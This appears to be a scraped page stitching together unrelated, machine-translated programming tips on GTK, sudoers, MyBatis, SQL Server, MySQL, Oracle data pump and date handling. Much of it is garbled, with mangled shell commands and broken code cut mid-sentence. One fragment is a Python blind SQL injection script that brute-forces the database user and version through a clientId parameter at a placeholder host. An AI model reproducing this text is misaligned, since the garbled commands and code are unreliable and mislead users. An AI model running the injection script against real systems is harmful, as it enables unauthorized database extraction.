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Use this method to successfully install GTK 3.xxx under Ubuntu 12.04.First, installation1, install Gcc/g++/gdb/make and other BASIC programming tools$sudo Apt - Get Install build - Essential2, installation Libgtk3.0-dev Libglib3.0-dev and other development-related library files$sudo Apt - Get Install Gnome - Core -3, used in compiling GTK program to find out their own files and library file location$sudo Apt - Get Install pkg - Config4. Install devhelp GTK Document Viewer Program$sudo Apt - Get

When using the sudo temporary lift, it appears: not in the sudoers file. The matter will be reported. You can use the Visudo command to configure the/etc/sudoers file to give the target user the ability to use the sudo command.In the/etc/sudoers file, there is a configuration specifically configured to configure which users can use the sudo command:Keep writing on this bottom:MyUserName all= (All:all) allAfter you save the exit, MyUserName This user can use sudo now.When Linux uses sudo, the pre

When querying with MyBatis, a string is passed in to pass parameters, and when judged, it is reported is for ' Modulecode ' inch ' class java.lang.String Error wording:SelectId="Queryallparentmodule" Resulttype="Jobmodule" ParameterType="Jobmodule"> SelectModulecode, ModuleName, Modulevalue, Linkurl, rank, Parentmodule=IsNull(Parentmodule,1), Moduledescription fromJob_modulewhere> Choose> whenTest="Modulecode!=NULL andModulecode!="'">Modulecode=#{module

of a static member function can be stored using a normal function pointer, while the ordinary member function address needs to be stored with a class member function pointer;2). Static member functions cannot call non-static members of a class. Because the static member function does not contain the this pointer;3). Static member functions cannot be declared at the same time as virtual, const, volatile functions;Memory allocationA static member variable of a class is like a static variable in a

transactions:currentdate2015-04-08 14:47:42.430You can see that a long transaction is running and has been running for nearly 90 minutes.View transaction Related information:selectfromwhere is_user_transaction=1session_id transaction_id is_user_transaction is_local1566 3452140915 1 1View transaction specific content according to session_id:selectfromwhere session_id=1566textCREATEPROCEDURE dbo.proc_MSS_Crawl ..............................You can also look at t

) {path=Getformatpath (path); Path= path + "/"; File FilePath=NewFile (path); if(!filepath.isdirectory ()) { return NULL; } string[] FileList=filepath.list (); ListNewArraylist(); for(inti = 0; i ) {String tempfilename= Getformatpath (path +Filelist[i]); Filelistfilter.add (TempFileName); } returnFilelistfilter; } PublicString getString (Object object) {if(Object = =NULL) { return""; } returnstring.valu

Newtonsoft.Json.dll or through-"tools-" library package management tool-"NuGet Management Pack-" online input newtonsoft or json.netNewtonsoft.json is possible:Context. Response.ContentType = "Text/plain";Booksservice service = new Booksservice ();Listjsonserializersettings setting = new Jsonserializersettings (){referenceloophandling = Referenceloophandling.ignore};Strintret = Jsonconvert.serializeobject (list, setting);Context. Response.Write (ret);Easyui Code$ (' #BooKlist '). DataGrid ({URL:

Bug Solution: org.xml.sax.SAXParseException; linenumber:1; Columnnumber:8; No processing instruction target is allowed to match "[Xx][mm][ll]" Problem Resolution: This bug was encountered because the first sentence of the XML file was wrong. Workaround: 1, to ensure that the first sentence of XML 2, copy the online XML file, it is suggested that this sentence

Origin XX is isn't allowed by Access-control-allow-origin. is actually JS cross-domain access problem What caused the problem that Ajax cannot request across domains. Ajax itself actually interacts with the data through the XMLHttpRequest object, and the browser, for security reasons, does not allow the JS code to operate across domains, so it warns.Solution Red is the point of the place. function Sel () { $.ajax ({ URL:

The wireless connection prompt has connected this computer to XX (SSID), but the computer does not have permission to access the Internet. If you connect to a wireless hotspot, you may need to open a Web browser to complete the connection. Possible Causes and solutions: Vista system in the process of wireless connection may be a long time to pop-up such a hint, sometimes does not mean that no connection is successful, at this point ping the r

Error: Implicit super constructor XX () is undefined for default constructor. Must define an explicit constructorBecause your parent class has defined a constructor with a parameter and there is no default parameterless constructor in the parent class , the compiler will not invoke the default constructor for you at this time, and when the subclass inherits, you must explicitly call the constructor of the parent class in its own constructor to Make

Label:Scenario: If the primary key of this table or one of the columns uses IDENTITY (total) self-growth, but you want to manually specify a value for this column, use the following solution:SET IDENTITY_INSERT table name onUse this command to set the self-increment column of the table to OnThen use:SELECT 3, 0, ' Adolph ', 141,0,2, ' 133 ', ' 3:23pm ', ' 133 ', ' 3:23pm ', 0, ' NULL ', insert the data (the way you use SELECT, you cannot insert into).When the insert is complete, set the column

Continue at if "true" inchRes.text: -Version + =Chr (j) - Break - Print('version:', Version) - - in defGet_user (): -user ="' to forIinchRange (1, 20): + forJinchRange (32, 127): -Burp0_url ="http://aaa.bbb.com/check?clientId=54915 '/**/or/**/ascii (User (),"+ STR (i) +", 1)) ="+Str (j) the PrintBurp0_url * Try: $res = Requests.get (Burp0_url, Headers=burp0_headers, cookies=burp0_cookies)Panax Notoginse

Tags: mysql win zip1 Download the MySQL Zip package to extract to a directory that needs to be installed, such as D:\Local\mysql2 Create directory data under D:\Local\mysql3 copy My-default.ini to My.ini, modify My.ini configurationBasedir = D:\Local\mysqlDataDir = D:\Local\mysql\data4 Adding environment variablesAdd the D:\Local\mysql\bin to the system variable Path5 Run cmd as AdministratorProceed to the D:\Local\mysql\bin directory, execute the following command and wait for completion, and f

destination schema.②REMAP_TABLESPACE Specifies the source tablespace and destination tablespace.③table_exists_action=replace overwrites a table with duplicate names.Before importing, be careful to back up the data of UserB, avoid the data loss caused by export error.EXPDP Userb/password Directory=tmp_bak dumpfile=userb-170504-expdp.dmp logfile=userb-170504-expdp.logFormally import the table beginning with SYS into the UserB user.IMPDP userb/password directory=tmp_bak dumpfile=usera-170504-expdp

Sometimes we need to ping some addresses on Linux to determine if the address is occupiedFirst, write the shell scriptThe script is as follows:#!/bin/bashfor i in 192.168.16.{1..255} do (ping $i-C 2 >/dev/null 2>1 [$?-eq 0] echo "$i is Alive" ) doneThe effect is as followsSecond, the use of fpingFping needs to be installed separately, it can ping a group of addresses,-G to specify a set of addresses, such asFping-g 192.168.16.1 192.168.16.200Represents all the addresses between these two addres

hostname in the/etc/hosts########################Start MySQLNetstat-lnt/application/mysql/bin/mysqld_safe Netstat-lntNETSTAT-LNT |grep 3306########################To set the traditional boot method:/bin/cp/home/lvnian/tools/mysql-5.5.32/support-files/mysql.server/etc/init.d/mysqldchmod +x/etc/init.d/mysqld/etc/init.d/mysqld stopNetstat-lnt/etc/init.d/mysqld startNetstat-lnt########################Setting the MySQL environment variableecho "path= $PATH:/application/mysql/bin/" >>/etc/profileSour

Date date = new Date (); System. out. println (date. toLocaleString ()); The preceding program uses the preceding format to print the current date. The following is a date object constructed based on the strings in the preceding format for the

Create an Excel table that requires a date time in the table to be normalized. Automatically converts the date format "20141201" to "December 01, 2014" as shown in the figure Select "20141201" that needs to be converted to date, and

FunctionMillisecondToDate (msd) {vartimeparseFloat (Ms D)/1000; if (null! Time & amp; & quot ;! Time) {if (time & gt; 60 & amp; time & lt; 60*60) {timeparseInt (time/60.0 Function MillisecondToDate (msd ){Var time = parseFloat (msd)/1000;If (null! =